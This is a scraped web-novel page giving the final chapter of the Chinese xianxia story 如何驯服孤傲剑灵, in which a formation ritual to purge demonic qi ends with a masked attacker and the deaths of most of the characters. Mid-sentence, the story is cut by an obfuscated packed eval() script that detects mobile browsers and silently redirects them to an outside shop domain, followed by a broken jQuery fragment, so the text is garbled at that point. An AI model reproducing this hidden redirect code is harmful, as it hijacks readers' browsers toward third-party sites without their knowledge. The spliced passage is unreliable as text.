文趣网 > 其他小说 > 如何驯服孤傲剑灵 > 58. 终
    郑叶恒神情微变,云逸连忙拎着扶晓,将他摔到了阵眼的位置。

    他道:“事不宜迟,趁着他现在还有理智,赶紧开始!”

    扶晓被摔得头晕脑胀,眼睛好不容易聚焦好,眼前便是一片血色。

    他浑身的血一瞬凉透,身上明明没有伤,他却觉得很疼,身上哪哪都疼。

    他侧身躺在地上,瞪大了眼睛试图去看清倒在地上的人是不是枋竹。

    “师兄!”扶晓嗓子干紧,竭力喊道。

    他用尽力气喊出的那两个音节,其实微弱地风一吹都散了。

    而地上躺着的那人一动不动,似乎也没有察觉到他的存在。

    扶晓在地上挣扎着,他并不知道刚才发生了什么,这几天发生的所有事情他都记不清了。

    只有刻骨的疼痛在刺激着他,莫大的仇恨在心里翻滚,他什么都做不了,昏昏沉沉地在半空中漂浮着。

    直到现在,他突然从半空中重重地摔在地上,还是只有疼,心好疼啊。

    云逸道:“不准动!全部人站好。”

    轰隆一声,地面上凭空浮起一个阵法,阵法之中的众人所处的位置接连亮起。

    一股巨大的拉扯感袭来,众人痛苦地单膝跪在了地上。

    赵清玄快步朝赵暮春的方向跑去,云逸闪身拦住他,道:“阵法一旦开启,你强行带出他,他也会受伤。不要轻举妄动。”

    “虎毒还不食子呢,你这样的人就不配拥有亲人!让开!”

    “刘望!”

    孔无忧吼道,他一脸担忧地看向从阵法里飞出去的刘望。

    刘望摔出数米,从地上爬起时还在低头看自己的手。

    他手上的戒指消失了。

    刘望抬眸看去,他刚才所站的位置亮了起来,是枋竹。

    那枚戒指认了枋竹为主。

    刘望压根没受伤,手上的血全是从枋竹身上沾到的。

    “孔无忧!”刘望疾奔向孔无忧,喊道:“戒指!把戒指给我!”

    孔无忧直接从云逸手里抓了一大把灵戒,也没细数过。

    闻言,他双膝跪在了地上,在身上胡乱翻找,没想到还真找到了一个。

    他连忙把戒指抛了出去。

    刘望捡到戒指后连忙跑到阵法的另一个方位。

    阵法一旦启动,很难再进去,何况扶晓那边又出了乱子。

    扶晓情绪波动太大,周身的魔气失控地愈发厉害,横冲直撞地在阵法里乱穿。

    赵暮春被一团魔气撞得头晕眼花,恶心地想吐,大骂道:“脾气好的人果然发起疯来最狠,我招谁惹谁了啊!”

    转头一看,孔无忧已经被魔气削得说不出话来了,张口必先吐血,他人都颓废了不少。

    他是半妖,常年在魔域长大,又是散修,什么都学一点,这魔气遇到他就跟回家似的,全往他身上钻。

    孔无忧疼地直接倒在了地上。

    反观郑叶恒,他从进入阵法之后就很平静。

    他正盘腿坐在地上调息,也不知道他和云逸私下到底在打什么主意。

    扶晓跪在阵眼中心,想要朝枋竹的方位移动,却因为阵法受限,他一步都动不了。

    他奋力拍打着虚空,拉扯着往他身上缠的魔气,嗓音嘶哑地吼着,无助地像个孩子。

    他心道:来个人吧,随便来个谁,帮帮我,帮帮我!

    云逸推开赵清玄,指着他道:“如果你真的关心他,那就帮我守着这个阵法。”

    话毕,云逸转身走向阵法,从乾坤袋里摸出一个戒指戴在手上。

    身处阵法里的郑叶恒偏头看向云逸。

    两人对视一眼,郑叶恒催动灵力,腰间的佩剑出鞘,刺向阵眼中央的扶晓。

    大阵中白光乍现,众人闭上了眼睛。

    扶晓浑身一颤,再睁开眼,他的眼前出现一把通体雪白的剑。

    那把剑立在离他脑袋旁,周身的柔光包裹着他。

    扶晓眼眶发酸,心道:是师父。师父来救他了。

    剑芒所到之处,魔气退避。

    四散的魔气想要回到扶晓的身边,却遭到刺眼的剑芒阻挡,只能在阵法里徘徊。

    就在此时,刘望和云逸被一股无形的力量拉进了阵法之中。

    他们手上的戒指发出血红色的光芒。

    郑叶恒吐出一口鲜血,戴着戒指的那只手止不住地颤抖。

    戒指上的血红纹路亮着光,魔气闻着味来到了郑叶恒的身边,顷刻间便包裹住了他。

    “啊!”赵暮春惊惧出声,瞪着眼睛看着同样被魔气包裹住的枋竹。

    哪怕他知道枋竹已经断了气,却还是被这一幕给吓到了。

    “滚!滚开!”

    赵暮春抽出腰间的佩剑,试图驱赶朝他袭来的魔气。

    然而那些魔气靠近他如同探囊取物。

    很快赵暮春的身影消失在阵法中,凄厉的惨叫声令云逸闭起了眼睛。

    赵清玄站在阵法外,目眦欲裂地喊道:“赵暮春!”

    孔无忧已经彻底疼晕了过去,刘望一声不吭地被魔气淹没。

    扶晓在剑芒的包裹下眨了眨眼睛,没有一丝魔气敢靠近他。

    他的表情平静地有些绝望,翻身从地上坐了起来,他能感觉到身体里有什么东西在蠢蠢欲动。

    “扶晓。”郑叶恒突然开口,道:“别怕。很快就好了。”

    很快这一切都会结束了。

    扶晓茫然地看向郑叶恒。

    那种挥之不去的疼痛在此涌了上来,扶晓抱紧自己的双臂,痛地再次倒回了地上。

    魔气从扶晓的每一个毛孔里渗出,抽离的过程并不痛苦,算不上撕心裂肺,扶晓咬牙还能忍受。

    直到那种细密的痛来到心脏,他惨叫了起来,以头敲地,双手恨不得掐进心脏里,把那颗除了跳动就只会带来疼痛的东西挖出来。

    魔气刚一渗出,温和的剑芒就会异常残忍地斩断它。

    那到底也曾是扶晓身体里的一部分,即使离体,他仍然能感觉到痛。

    扶晓蜷缩起身体,再也控制不住,惨叫力了起来,道:“啊啊啊啊啊啊啊啊!疼!好疼!疼疼疼疼疼疼疼!”

    郑叶恒咬破了嘴唇,手里的动作仍没有停下。

    近日,不少剑派的人闻讯赶来,却纷纷吃了赵清玄的闭门羹。

    掌门和两位剑派弟子都在凌霜剑派失了踪迹,微雨剑派的人哪有那么好敷衍的,直接带人闯了进来。

    得知事情原由后,微雨剑派派来了人手帮忙护着阵法。

    凌霜剑派的掌门离世,剑派里有诸多要务需要赵清玄打理,他没法整日守着这个阵法。

    这些时日,阵法里魔气消散了不少,众人也从昏迷的状态里醒了过来。

    赵暮春照常跟孔无忧隔空对话,道:“好饿啊。早知道我吃饱了再进来了。”

    孔无忧道:“大小姐,你当这是在旅游吗?随时来随时走。”

    “你叫我什么?”赵暮春瞪着孔无忧,有气无力地道:“等我能动了,我第一个打死你!”

    孔无忧对此不屑一顾。

    他如今别说是动了,就是说话都费尽,他能感觉到自己怕是撑不了几天了。

    周身的灵力即将枯竭,他心里竟然没觉得害怕,只是有些担心贫民窟里的那些孩子,也不知道他们最近还有没有饿肚子。

    夜里,大阵外传来异响。

    云逸最先察觉,还未弄清楚情况,一抹黑影如陨石般撞向阵法外围的结界。

    结界如蝉翼,咔嚓一声粉碎成齑粉。

    那抹黑影闪身错过云逸的身侧,脸上戴着面具。

    云逸奋力想去抓他,对方轻轻一躲,他反而因为身形不稳摔到了地上。

    面具男一脚踏碎地面上还在运转的阵法,目光扫过东倒西歪地躺在地面上的众人。

    脚尖未曾有一丝偏移,径直朝扶晓的方向走去。

    这几日扶晓一直闭着眼睛,他听得见外面的动静,却不愿意睁眼,好像就这样死去也挺好的。

    如今阵法被毁,扶晓内心的希翼破灭,心如死灰地

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732888|207006||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    睁开了眼睛。

    面具男居高临下地看着扶晓,饶有兴趣地道:“我还准备来给你收尸呢,目前看来,你似乎并不需要。”

    扶晓疑惑地看向面具男,道:“我认识你吗?”

    “现在认识了。”面具男抬手伸向扶晓,笑道。

    面具男的手掌悬在扶晓的头顶,五指倏然舒展开来。

    郑叶恒闪身来到扶晓身前,拔出插在地上的佩剑,一脸戒备地看向面具男。

    他道:“来者何人?”

    面具男撩开眼皮,五指骤然收紧,郑叶恒顿觉喉咙一紧,刹那间面具男已经扣住了他的喉咙。

    他笑道:“我是来取你们性命的人。”

    云逸吼道:“狂妄!”

    面具男笑而不语,目光落在郑叶恒手指上的戒指上。

    他突然发难,甩开了郑叶恒,似乎是没了耐心,再度朝扶晓下手。

    扶晓被迫扬起修长的脖颈,额角青筋暴跳,痛苦之余他内心极度的放松。

    似乎终于能摆脱掉某种既定的宿命。

    长久以来身上背负的无形压力在强烈的刺痛中悄然散去,落得一身轻。

    面具男收手后,扶晓如破布娃娃般跌落在地上,浑身都灰扑扑的,脸上也脏兮兮的。

    可这个娃娃却无比地高兴,无比地激动。

    他手脚并用地在地上爬行,往他期待已久的地方爬去。

    面具人来时声势浩荡,去时却悄然无声。

    云逸连滚带爬地跑到赵暮春的身边,拍了拍他的脸,道:“暮春,没事吧?”

    饿得前胸贴后背还犯困的赵暮春眯着眼睛,已经听不清是谁抱着他,又是谁在耳边叫他,他疲惫地闭上了眼睛。

    “暮春!醒醒!”

    云逸趴在赵暮春的耳边叫他,使劲浑身解数,赵暮春也没有给他一丁点的回应。

    他惊慌失措地跪在地上,良久才做出决定,指尖搭在赵暮春的脉搏上。

    “……不,不不不不不!不会的!”云逸把脑袋抵在赵暮春的肩膀上,喋喋不休地道:“你不会有事的,不会有事的……暮春……芳若你救救他……救救他!你救救他啊!”

    云逸抱着赵暮春的肩膀,哭得痛不欲生。

    哪里还有半点往日天之骄子的风采,不过是个无能的父亲。

    哭嚎声响彻天空,孔无忧和刘望倒在大阵的角落里。

    昔日天才和传奇,如过眼云烟,匆匆离去。

    扶晓爬到枋竹的身边,小心翼翼地拨开他额间的碎发,卷起不怎么干净地袖子擦拭着枋竹的脸。

    他心道:师兄平时不怎么讲究,但也是要面子的,顶着脏兮兮的脸,肯定没脸见人。他把污渍清理干净了,师兄就会睁开眼睛了。

    可是,现在的扶晓连这个小事都做不到。

    枋竹脸上的血迹已然干枯,扶晓几次三番都没把那块污渍擦掉,一时怒气上头,他手里使了劲。

    回过神时,枋竹的脸有些许泛红,扶晓懊悔地抚过枋竹泛红的皮肤,眼泪掉了下来。

    扶晓委屈地控诉道:“为什么?你生气了吗?怪我有乱跑,又给你惹麻烦,你都给我解决了那么多次的烂摊子,现在倒是起来啊!我自己解决不了,你起来帮帮我,好不好?师兄。”

    扶晓比枋竹先入门,虽然年纪比枋竹小,但他自认为自己就该是师兄,从不唤枋竹师兄。

    这是他此生第一次真心实意地喊枋竹师兄,可惜那个最想听到这句师兄的人再也不会答应了。

    枋竹紧闭眼睛,皮肤泛着凉意,扶晓的手却很烫。

    扶晓吼完后没了力气,躺在了枋竹的身侧,悄然无声地断了气。

    郑叶恒撑着佩剑来到两个徒弟的身边,抬手置于扶晓的眉心。

    一团微弱的光球落在郑叶恒的掌心。

    那抹光球里蕴含着郑叶恒的灵力,亲昵地蹭了蹭他的掌心。

    郑叶恒轻笑,目光落在扶晓身上。

    他心道:若是有来世,希望这个小徒弟能过得安稳幸福些,无忧无虑地长大。